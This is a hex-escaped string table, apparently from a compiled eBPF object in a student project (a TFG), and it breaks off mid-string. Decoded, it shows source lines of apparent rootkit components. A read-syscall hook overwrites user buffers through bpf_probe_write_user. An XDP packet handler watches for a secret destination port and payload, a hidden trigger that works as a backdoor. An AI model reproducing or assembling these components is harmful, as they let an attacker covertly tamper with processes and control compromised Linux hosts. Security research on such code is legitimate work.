+\x6e\x74\x65\x72\x5f\x63\x74\x78\0\x75\x6e\x75\x73\x65\x64\0\x5f\x5f\x73\x79\ +\x73\x63\x61\x6c\x6c\x5f\x6e\x72\0\x70\x61\x64\x64\x69\x6e\x67\0\x63\x6f\x75\ +\x6e\x74\0\x6c\x6f\x6e\x67\x20\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x69\x6e\x74\ +\0\x73\x69\x7a\x65\x5f\x74\0\x5f\x5f\x6b\x65\x72\x6e\x65\x6c\x5f\x73\x69\x7a\ +\x65\x5f\x74\0\x5f\x5f\x6b\x65\x72\x6e\x65\x6c\x5f\x75\x6c\x6f\x6e\x67\x5f\x74\ +\0\x6b\x70\x72\x6f\x62\x65\x5f\x6b\x73\x79\x73\x5f\x72\x65\x61\x64\0\x74\x72\ +\x61\x63\x65\x70\x6f\x69\x6e\x74\x2f\x73\x79\x73\x63\x61\x6c\x6c\x73\x2f\x73\ +\x79\x73\x5f\x65\x6e\x74\x65\x72\x5f\x72\x65\x61\x64\0\x2f\x68\x6f\x6d\x65\x2f\ +\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\x63\x2f\x65\x62\x70\ +\x66\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x62\x70\x66\x2f\x66\x73\x2e\x68\0\x20\ +\x20\x20\x20\x69\x66\x20\x28\x63\x74\x78\x20\x3d\x3d\x20\x4e\x55\x4c\x4c\x29\ +\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\ +\x28\x22\x45\x72\x72\x6f\x72\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\x69\x6e\x74\ +\x20\x66\x64\x20\x3d\x20\x28\x69\x6e\x74\x29\x20\x63\x74\x78\x2d\x3e\x66\x64\ +\x3b\x20\0\x20\x20\x20\x20\x63\x68\x61\x72\x20\x2a\x62\x75\x66\x20\x3d\x20\x28\ +\x63\x68\x61\x72\x2a\x29\x20\x63\x74\x78\x2d\x3e\x62\x75\x66\x3b\x20\0\x20\x20\ +\x20\x20\x5f\x5f\x75\x36\x34\x20\x70\x69\x64\x5f\x74\x67\x69\x64\x20\x3d\x20\ +\x62\x70\x66\x5f\x67\x65\x74\x5f\x63\x75\x72\x72\x65\x6e\x74\x5f\x70\x69\x64\ +\x5f\x74\x67\x69\x64\x28\x29\x3b\0\x20\x20\x20\x20\x73\x74\x72\x75\x63\x74\x20\ +\x66\x73\x5f\x6f\x70\x65\x6e\x5f\x64\x61\x74\x61\x20\x64\x61\x74\x61\x20\x3d\ +\x20\x7b\0\x20\x20\x20\x20\x5f\x5f\x75\x33\x32\x20\x70\x69\x64\x20\x3d\x20\x70\ +\x69\x64\x5f\x74\x67\x69\x64\x20\x3e\x3e\x20\x33\x32\x3b\0\x20\x20\x20\x20\x62\ +\x70\x66\x5f\x6d\x61\x70\x5f\x75\x70\x64\x61\x74\x65\x5f\x65\x6c\x65\x6d\x28\ +\x26\x66\x73\x5f\x6f\x70\x65\x6e\x2c\x20\x26\x70\x69\x64\x5f\x74\x67\x69\x64\ +\x2c\x20\x26\x64\x61\x74\x61\x2c\x20\x42\x50\x46\x5f\x41\x4e\x59\x29\x3b\0\x20\ +\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x49\x4e\x20\x50\ +\x49\x44\x3a\x20\x25\x75\x2c\x20\x46\x53\x3a\x25\x75\x5c\x6e\x22\x2c\x20\x70\ +\x69\x64\x2c\x20\x66\x64\x29\x3b\0\x7d\x20\0\x73\x79\x73\x5f\x72\x65\x61\x64\ +\x5f\x65\x78\x69\x74\x5f\x63\x74\x78\0\x72\x65\x74\0\x6c\x6f\x6e\x67\x20\x69\ +\x6e\x74\0\x6b\x72\x65\x74\x70\x72\x6f\x62\x65\x5f\x76\x66\x73\x5f\x72\x65\x61\ +\x64\0\x74\x72\x61\x63\x65\x70\x6f\x69\x6e\x74\x2f\x73\x79\x73\x63\x61\x6c\x6c\ +\x73\x2f\x73\x79\x73\x5f\x65\x78\x69\x74\x5f\x72\x65\x61\x64\0\x20\x20\x20\x20\ +\x73\x74\x72\x75\x63\x74\x20\x66\x73\x5f\x6f\x70\x65\x6e\x5f\x64\x61\x74\x61\ +\x20\x2a\x64\x61\x74\x61\x20\x3d\x20\x28\x73\x74\x72\x75\x63\x74\x20\x66\x73\ +\x5f\x6f\x70\x65\x6e\x5f\x64\x61\x74\x61\x2a\x29\x20\x62\x70\x66\x5f\x6d\x61\ +\x70\x5f\x6c\x6f\x6f\x6b\x75\x70\x5f\x65\x6c\x65\x6d\x28\x26\x66\x73\x5f\x6f\ +\x70\x65\x6e\x2c\x20\x26\x70\x69\x64\x5f\x74\x67\x69\x64\x29\x3b\0\x20\x20\x20\ +\x20\x69\x66\x20\x28\x64\x61\x74\x61\x20\x3d\x3d\x20\x4e\x55\x4c\x4c\x20\x7c\ +\x7c\x20\x64\x61\x74\x61\x2d\x3e\x62\x75\x66\x20\x3d\x3d\x20\x4e\x55\x4c\x4c\ +\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\ +\x6b\x28\x22\x4e\x6f\x74\x20\x66\x6f\x75\x6e\x64\x5c\x6e\x22\x29\x3b\0\x7d\0\ +\x20\x20\x20\x20\x5f\x5f\x75\x33\x32\x20\x70\x69\x64\x20\x3d\x20\x64\x61\x74\ +\x61\x2d\x3e\x70\x69\x64\x3b\0\x20\x20\x20\x20\x63\x68\x61\x72\x20\x63\x5b\x37\ +\x5d\x20\x3d\x20\x7b\x30\x7d\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\ +\x62\x70\x66\x5f\x70\x72\x6f\x62\x65\x5f\x72\x65\x61\x64\x5f\x75\x73\x65\x72\ +\x28\x63\x2b\x6c\x65\x6e\x67\x74\x68\x2c\x20\x31\x2c\x20\x62\x75\x66\x2b\x6c\ +\x65\x6e\x67\x74\x68\x29\x3c\x30\x29\x7b\0\x20\x20\x20\x20\x63\x5b\x36\x5d\x20\ +\x3d\x20\x27\x5c\x30\x27\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x21\ +\x28\x28\x63\x5b\x69\x69\x5d\x20\x3e\x3d\x20\x27\x61\x27\x20\x26\x26\x20\x63\ +\x5b\x69\x69\x5d\x20\x3c\x3d\x20\x27\x7a\x27\x29\x20\x7c\x7c\x20\x28\x63\x5b\ +\x69\x69\x5d\x20\x3e\x3d\x20\x27\x41\x27\x20\x26\x26\x20\x63\x5b\x69\x69\x5d\ +\x20\x3c\x3d\x20\x27\x5a\x27\x29\x29\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\ +\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x4f\x76\x65\x72\x77\x72\x69\ +\x74\x74\x69\x6e\x67\x20\x61\x74\x20\x70\x69\x64\x20\x25\x75\x2c\x20\x25\x73\ +\x5c\x6e\x22\x2c\x20\x70\x69\x64\x2c\x20\x62\x75\x66\x29\x3b\0\x20\x20\x20\x20\ +\x69\x66\x28\x62\x70\x66\x5f\x70\x72\x6f\x62\x65\x5f\x77\x72\x69\x74\x65\x5f\ +\x75\x73\x65\x72\x28\x28\x76\x6f\x69\x64\x2a\x29\x62\x75\x66\x2c\x20\x28\x76\ +\x6f\x69\x64\x2a\x29\x6d\x73\x67\x2c\x20\x28\x5f\x5f\x75\x33\x32\x29\x31\x29\ +\x3c\x30\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\ +\x6e\x74\x6b\x28\x22\x45\x72\x72\x6f\x72\x20\x77\x72\x69\x74\x69\x6e\x67\x20\ +\x74\x6f\x20\x75\x73\x65\x72\x20\x6d\x65\x6d\x6f\x72\x79\x5c\x6e\x22\x29\x3b\0\ +\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x4e\x45\x57\ +\x20\x61\x74\x20\x70\x69\x64\x20\x25\x75\x2c\x20\x25\x73\x5c\x6e\x22\x2c\x20\ +\x70\x69\x64\x2c\x20\x62\x75\x66\x29\x3b\0\x78\x64\x70\x5f\x6d\x64\0\x64\x61\ +\x74\x61\0\x64\x61\x74\x61\x5f\x65\x6e\x64\0\x64\x61\x74\x61\x5f\x6d\x65\x74\ +\x61\0\x69\x6e\x67\x72\x65\x73\x73\x5f\x69\x66\x69\x6e\x64\x65\x78\0\x72\x78\ +\x5f\x71\x75\x65\x75\x65\x5f\x69\x6e\x64\x65\x78\0\x65\x67\x72\x65\x73\x73\x5f\ +\x69\x66\x69\x6e\x64\x65\x78\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\0\ +\x78\x64\x70\x5f\x70\x72\x6f\x67\0\x2f\x68\x6f\x6d\x65\x2f\x6f\x73\x62\x6f\x78\ +\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\x63\x2f\x65\x62\x70\x66\x2f\x78\x64\x70\ +\x5f\x66\x69\x6c\x74\x65\x72\x2e\x62\x70\x66\x2e\x63\0\x69\x6e\x74\x20\x78\x64\ +\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x28\x73\x74\x72\x75\x63\x74\x20\x78\x64\ +\x70\x5f\x6d\x64\x20\x2a\x63\x74\x78\x29\x7b\0\x30\x3a\x31\0\x20\x20\x20\x20\ +\x76\x6f\x69\x64\x20\x2a\x64\x61\x74\x61\x5f\x65\x6e\x64\x20\x3d\x20\x28\x76\ +\x6f\x69\x64\x20\x2a\x29\x28\x6c\x6f\x6e\x67\x29\x63\x74\x78\x2d\x3e\x64\x61\ +\x74\x61\x5f\x65\x6e\x64\x3b\0\x30\x3a\x30\0\x20\x20\x20\x20\x76\x6f\x69\x64\ +\x20\x2a\x64\x61\x74\x61\x20\x3d\x20\x28\x76\x6f\x69\x64\x20\x2a\x29\x28\x6c\ +\x6f\x6e\x67\x29\x63\x74\x78\x2d\x3e\x64\x61\x74\x61\x3b\0\x2f\x68\x6f\x6d\x65\ +\x2f\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\x63\x2f\x65\x62\ +\x70\x66\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x70\x61\x63\x6b\x65\x74\x2f\x70\ +\x61\x63\x6b\x65\x74\x5f\x6d\x61\x6e\x61\x67\x65\x72\x2e\x68\0\x20\x20\x20\x20\ +\x69\x66\x20\x28\x28\x76\x6f\x69\x64\x20\x2a\x29\x65\x74\x68\x20\x2b\x20\x73\ +\x69\x7a\x65\x6f\x66\x28\x73\x74\x72\x75\x63\x74\x20\x65\x74\x68\x68\x64\x72\ +\x29\x20\x3e\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x7b\0\x20\x20\x20\x20\x69\ +\x66\x28\x65\x74\x68\x65\x72\x6e\x65\x74\x5f\x68\x65\x61\x64\x65\x72\x5f\x62\ +\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x65\x74\x68\x2c\x20\x64\x61\x74\ +\x61\x5f\x65\x6e\x64\x29\x3c\x30\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\ +\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x6f\x75\x6e\x64\x20\x63\x68\ +\x65\x63\x6b\x20\x66\x61\x69\x6c\x20\x41\x22\x29\x3b\0\x20\x20\x20\x20\x69\x66\ +\x20\x28\x28\x76\x6f\x69\x64\x20\x2a\x29\x69\x70\x20\x2b\x20\x73\x69\x7a\x65\ +\x6f\x66\x28\x2a\x69\x70\x29\x20\x3e\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\ +\x7b\0\x20\x20\x20\x20\x69\x66\x20\x28\x69\x70\x5f\x68\x65\x61\x64\x65\x72\x5f\ +\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x69\x70\x2c\x20\x64\x61\x74\ +\x61\x5f\x65\x6e\x64\x29\x3c\x30\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\ +\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x22\x29\x3b\0\x69\x70\x68\x64\ +\x72\0\x69\x68\x6c\0\x76\x65\x72\x73\x69\x6f\x6e\0\x74\x6f\x73\0\x74\x6f\x74\ +\x5f\x6c\x65\x6e\0\x69\x64\0\x66\x72\x61\x67\x5f\x6f\x66\x66\0\x74\x74\x6c\0\ +\x70\x72\x6f\x74\x6f\x63\x6f\x6c\0\x63\x68\x65\x63\x6b\0\x73\x61\x64\x64\x72\0\ +\x64\x61\x64\x64\x72\0\x5f\x5f\x75\x38\0\x5f\x5f\x62\x65\x31\x36\0\x5f\x5f\x75\ +\x31\x36\0\x5f\x5f\x73\x75\x6d\x31\x36\0\x5f\x5f\x62\x65\x33\x32\0\x30\x3a\x37\ +\0\x20\x20\x20\x20\x73\x77\x69\x74\x63\x68\x28\x69\x70\x2d\x3e\x70\x72\x6f\x74\ +\x6f\x63\x6f\x6c\x29\x7b\0\x20\x20\x20\x20\x69\x66\x20\x28\x67\x65\x74\x5f\x70\ +\x72\x6f\x74\x6f\x63\x6f\x6c\x28\x64\x61\x74\x61\x29\x20\x21\x3d\x20\x49\x50\ +\x50\x52\x4f\x54\x4f\x5f\x54\x43\x50\x29\x7b\0\x20\x20\x20\x20\x69\x66\x20\x28\ +\x28\x76\x6f\x69\x64\x20\x2a\x29\x74\x63\x70\x20\x2b\x20\x73\x69\x7a\x65\x6f\ +\x66\x28\x2a\x74\x63\x70\x29\x20\x3e\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\ +\x7b\0\x20\x20\x20\x20\x69\x66\x20\x28\x74\x63\x70\x5f\x68\x65\x61\x64\x65\x72\ +\x5f\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x74\x63\x70\x2c\x20\x64\ +\x61\x74\x61\x5f\x65\x6e\x64\x29\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\ +\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x44\x22\x29\x3b\0\x74\x63\x70\x68\ +\x64\x72\0\x73\x6f\x75\x72\x63\x65\0\x64\x65\x73\x74\0\x73\x65\x71\0\x61\x63\ +\x6b\x5f\x73\x65\x71\0\x72\x65\x73\x31\0\x64\x6f\x66\x66\0\x66\x69\x6e\0\x73\ +\x79\x6e\0\x72\x73\x74\0\x70\x73\x68\0\x61\x63\x6b\0\x75\x72\x67\0\x65\x63\x65\ +\0\x63\x77\x72\0\x77\x69\x6e\x64\x6f\x77\0\x75\x72\x67\x5f\x70\x74\x72\0\x2f\ +\x68\x6f\x6d\x65\x2f\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\ +\x63\x2f\x65\x62\x70\x66\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x70\x61\x63\x6b\ +\x65\x74\x2f\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x2f\x74\x63\x70\x5f\x68\x65\x6c\ +\x70\x65\x72\x2e\x68\0\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x62\x70\x66\ +\x5f\x6e\x74\x6f\x68\x73\x28\x74\x63\x70\x2d\x3e\x64\x65\x73\x74\x29\x3b\0\x20\ +\x20\x20\x20\x69\x66\x20\x28\x67\x65\x74\x5f\x74\x63\x70\x5f\x64\x65\x73\x74\ +\x5f\x70\x6f\x72\x74\x28\x74\x63\x70\x29\x20\x21\x3d\x20\x53\x45\x43\x52\x45\ +\x54\x5f\x50\x41\x43\x4b\x45\x54\x5f\x44\x45\x53\x54\x5f\x50\x4f\x52\x54\x29\ +\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\ +\x28\x22\x45\x20\x25\x69\x5c\x6e\x22\x2c\x20\x62\x70\x66\x5f\x6e\x74\x6f\x68\ +\x73\x28\x74\x63\x70\x2d\x3e\x64\x65\x73\x74\x29\x29\x3b\0\x30\x3a\x33\0\x20\ +\x20\x20\x20\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x20\x3d\x20\x62\ +\x70\x66\x5f\x6e\x74\x6f\x68\x73\x28\x69\x70\x2d\x3e\x74\x6f\x74\x5f\x6c\x65\ +\x6e\x29\x20\x2d\x20\x28\x74\x63\x70\x2d\x3e\x64\x6f\x66\x66\x20\x2a\x20\x34\ +\x29\x20\x2d\x20\x28\x69\x70\x2d\x3e\x69\x68\x6c\x20\x2a\x20\x34\x29\x3b\0\x30\ +\x3a\x35\0\x20\x20\x20\x20\x70\x61\x79\x6c\x6f\x61\x64\x20\x3d\x20\x28\x76\x6f\ +\x69\x64\x20\x2a\x29\x74\x63\x70\x20\x2b\x20\x74\x63\x70\x2d\x3e\x64\x6f\x66\ +\x66\x2a\x34\x3b\0\x20\x20\x20\x20\x69\x66\x20\x28\x70\x61\x79\x6c\x6f\x61\x64\ +\x5f\x73\x69\x7a\x65\x20\x21\x3d\x20\x73\x69\x7a\x65\x6f\x66\x28\x53\x45\x43\ +\x52\x45\x54\x5f\x50\x41\x43\x4b\x45\x54\x5f\x50\x41\x59\x4c\x4f\x41\x44\x29\ +\x2d\x31\x29\x20\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\ +\x69\x6e\x74\x6b\x28\x22\x46\x2c\x20\x50\x53\x3a\x25\x69\x2c\x20\x50\x3a\x25\ +\x69\x2c\x20\x44\x45\x3a\x25\x69\x5c\x6e\x22\x2c\x20\x70\x61\x79\x6c\x6f\x61\ +\x64\x5f\x73\x69\x7a\x65\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x2c\x20\x64\x61\ +\x74\x61\x5f\x65\x6e\x64\x29\x3b\0\x20\x20\x20\x20\x69\x66\x20\x28\x28\x76\x6f\ +\x69\x64\x2a\x29\x70\x61\x79\x6c\x6f\x61\x64\x20\x2b\x20\x70\x61\x79\x6c\x6f\ +\x61\x64\x5f\x73\x69\x7a\x65\x20\x3e\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\ +\x7b\0\x20\x20\x20\x20\x69\x66\x20\x28\x74\x63\x70\x5f\x70\x61\x79\x6c\x6f\x61\ +\x64\x5f\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x70\x61\x79\x6c\x6f\ +\x61\x64\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x2c\x20\x64\ +\x61\x74\x61\x5f\x65\x6e\x64\x29\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\ +\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x47\x22\x29\x3b\0\x20\x20\x20\x20\ +\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x52\x65\x63\x65\x69\x76\x65\ +\x64\x20\x76\x61\x6c\x69\x64\x20\x54\x43\x50\x20\x70\x61\x63\x6b\x65\x74\x20\ +\x77\x69\x74\x68\x20\x70\x61\x79\x6c\x6f\x61\x64\x20\x25\x73\x20\x6f\x66\x20\ +\x73\x69\x7a\x65\x20\x25\x69\x5c\x6e\x22\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\ +\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x29\x3b\0\x2f\x68\x6f\ +\x6d\x65\x2f\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\x63\x2f\ +\x65\x62\x70\x66\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x62\x70\x66\x2f\x2e\x2e\ +\x2f\x75\x74\x69\x6c\x73\x2f\x73\x74\x72\x69\x6e\x67\x73\x2e\x68\0\x20\x20\x20\ +\x20\x20\x20\x20\x20\x69\x66\x20\x28\x73\x74\x72\x31\x5b\x69\x69\x5d\x20\x21\ +\x3d\x20\x73\x74\x72\x32\x5b\x69\x69\x5d\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\ +\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x48\x22\x29\x3b\0\x20\x20\ +\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x4f\x4c\x44\x20\x64\ +\x61\x74\x61\x5f\x65\x6e\x64\x3a\x20\x25\x69\x2c\x20\x70\x61\x79\x6c\x6f\x61\ +\x64\x3a\x20\x25\x69\x5c\x6e\x22\x2c\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x2c\ +\x20\x70\x61\x79\x6c\x6f\x61\x64\x29\x3b\0\x2f\x68\x6f\x6d\x65\x2f\x6f\x73\x62\ +\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\x63\x2f\x65\x62\x70\x66\x2f\x69\ +\x6e\x63\x6c\x75\x64\x65\x2f\x78\x64\x70\x2f\x78\x64\x70\x5f\x68\x65\x6c\x70\ +\x65\x72\x2e\x68\0\x20\x20\x20\x20\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x5f\x6d\ +\x65\x6d\x63\x70\x79\x28\x26\x65\x74\x68\x5f\x63\x6f\x70\x79\x2c\x20\x65\x74\ +\x68\x2c\x20\x73\x69\x7a\x65\x6f\x66\x28\x73\x74\x72\x75\x63\x74\x20\x65\x74\ +\x68\x68\x64\x72\x29\x29\x3b\0\x20\x20\x20\x20\x5f\x5f\x62\x75\x69\x6c\x74\x69\ +\x6e\x5f\x6d\x65\x6d\x63\x70\x79\x28\x26\x69\x70\x5f\x63\x6f\x70\x79\x2c\x20\ +\x69\x70\x2c\x20\x73\x69\x7a\x65\x6f\x66\x28\x73\x74\x72\x75\x63\x74\x20\x69\ +\x70\x68\x64\x72\x29\x29\x3b\0\x20\x20\x20\x20\x5f\x5f\x62\x75\x69\x6c\x74\x69\ +\x6e\x5f\x6d\x65\x6d\x63\x70\x79\x28\x26\x74\x63\x70\x5f\x63\x6f\x70\x79\x2c\ +\x20\x74\x63\x70\x2c\x20\x73\x69\x7a\x65\x6f\x66\x28\x73\x74\x72\x75\x63\x74\ +\x20\x74\x63\x70\x68\x64\x72\x29\x29\x3b\0\x20\x20\x20\x20\x69\x66\x20\x28\x62\ +\x70\x66\x5f\x78\x64\x70\x5f\x61\x64\x6a\x75\x73\x74\x5f\x74\x61\x69\x6c\x28\ +\x63\x74\x78\x2c\x20\x28\x69\x6e\x74\x29\x28\x73\x69\x7a\x65\x6f\x66\x28\x63\ +\x68\x61\x72\x29\x2a\x6d\x6f\x72\x65\x5f\x62\x79\x74\x65\x73\x29\x29\x20\x21\ +\x3d\x20\x30\x29\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\ +\x6e\x74\x6b\x28\x22\x46\x61\x69\x6c\x65\x64\x20\x74\x6f\x20\x65\x78\x70\x61\ +\x6e\x64\x20\x61\x20\x74\x63\x70\x20\x70\x61\x63\x6b\x65\x74\x20\x72\x65\x73\ +\x65\x72\x76\x65\x64\x20\x62\x79\x74\x65\x73\x20\x62\x79\x20\x25\x69\x5c\x6e\ +\x22\x2c\x20\x6d\x6f\x72\x65\x5f\x62\x79\x74\x65\x73\x29\x3b\0\x20\x20\x20\x20\ +\x72\x65\x74\x2e\x65\x74\x68\x20\x3d\x20\x28\x76\x6f\x69\x64\x2a\x29\x28\x6c\ +\x6f\x6e\x67\x29\x63\x74\x78\x2d\x3e\x64\x61\x74\x61\x3b\0\x20\x20\x20\x20\x72\ +\x65\x74\x2e\x74\x63\x70\x20\x3d\x20\x28\x76\x6f\x69\x64\x20\x2a\x29\x72\x65\ +\x74\x2e\x69\x70\x20\x2b\x20\x73\x69\x7a\x65\x6f\x66\x28\x73\x74\x72\x75\x63\ +\x74\x20\x69\x70\x68\x64\x72\x29\x3b\0\x20\x20\x20\x20\x76\x6f\x69\x64\x2a\x20\ +\x64\x61\x74\x61\x5f\x65\x6e\x64\x20\x3d\x20\x28\x76\x6f\x69\x64\x2a\x29\x28\ +\x6c\x6f\x6e\x67\x29\x63\x74\x78\x2d\x3e\x64\x61\x74\x61\x5f\x65\x6e\x64\x3b\0\ +\x20\x20\x20\x20\x72\x65\x74\x2e\x69\x70\x20\x3d\x20\x28\x76\x6f\x69\x64\x20\ +\x2a\x29\x72\x65\x74\x2e\x65\x74\x68\x20\x2b\x20\x73\x69\x7a\x65\x6f\x66\x28\ +\x73\x74\x72\x75\x63\x74\x20\x65\x74\x68\x68\x64\x72\x29\x3b\0\x20\x20\x20\x20\ +\x69\x66\x28\x65\x74\x68\x65\x72\x6e\x65\x74\x5f\x68\x65\x61\x64\x65\x72\x5f\ +\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x72\x65\x74\x2e\x65\x74\x68\ +\x2c\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x3c\x30\x29\x7b\0\x20\x20\x20\x20\ +\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x6f\x75\ +\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x41\x20\x66\x61\x69\x6c\x65\x64\x20\x77\ +\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x5c\x6e\x22\x29\x3b\0\ +\x20\x20\x20\x20\x69\x66\x20\x28\x69\x70\x5f\x68\x65\x61\x64\x65\x72\x5f\x62\ +\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x72\x65\x74\x2e\x69\x70\x2c\x20\ +\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x3c\x30\x29\x7b\0\x20\x20\x20\x20\x20\x20\ +\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x6f\x75\x6e\x64\ +\x20\x63\x68\x65\x63\x6b\x20\x42\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\x69\ +\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x5c\x6e\x22\x29\x3b\0\x20\x20\ +\x20\x20\x69\x66\x20\x28\x74\x63\x70\x5f\x68\x65\x61\x64\x65\x72\x5f\x62\x6f\ +\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x72\x65\x74\x2e\x74\x63\x70\x2c\x20\ +\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\ +\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x6f\x75\x6e\x64\x20\x63\ +\x68\x65\x63\x6b\x20\x43\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\x69\x6c\x65\ +\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\ +\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x43\x6f\x6e\x74\x72\x6f\x6c\ +\x20\x62\x61\x63\x6b\x20\x74\x6f\x20\x6d\x61\x69\x6e\x20\x70\x72\x6f\x67\x72\ +\x61\x6d\x20\x77\x69\x74\x68\x20\x72\x65\x74\x63\x6f\x64\x65\x20\x25\x69\x20\ +\x61\x66\x74\x65\x72\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x20\x25\x69\x20\ +\x62\x79\x74\x65\x73\x5c\x6e\x22\x2c\x20\x72\x65\x74\x2e\x63\x6f\x64\x65\x2c\ +\x20\x6d\x6f\x72\x65\x5f\x62\x79\x74\x65\x73\x29\x3b\0\x20\x20\x20\x20\x69\x66\ +\x28\x72\x65\x74\x2e\x63\x6f\x64\x65\x20\x3d\x3d\x20\x30\x29\x7b\0\x20\x20\x20\ +\x20\x20\x20\x20\x20\x64\x61\x74\x61\x20\x3d\x20\x28\x76\x6f\x69\x64\x2a\x29\ +\x28\x6c\x6f\x6e\x67\x29\x72\x65\x74\x2e\x72\x65\x74\x5f\x6d\x64\x2d\x3e\x64\ +\x61\x74\x61\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x64\x61\x74\x61\x5f\x65\x6e\ +\x64\x20\x3d\x20\x28\x76\x6f\x69\x64\x2a\x29\x28\x6c\x6f\x6e\x67\x29\x72\x65\ +\x74\x2e\x72\x65\x74\x5f\x6d\x64\x2d\x3e\x64\x61\x74\x61\x5f\x65\x6e\x64\x3b\0\ +\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x65\x74\x68\x65\x72\x6e\x65\x74\ +\x5f\x68\x65\x61\x64\x65\x72\x5f\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\ +\x28\x65\x74\x68\x2c\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x3c\x30\x29\x7b\0\ +\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\ +\x6e\x74\x6b\x28\x22\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x41\x20\ +\x66\x61\x69\x6c\x65\x64\x20\x77\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\ +\x69\x6e\x67\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\ 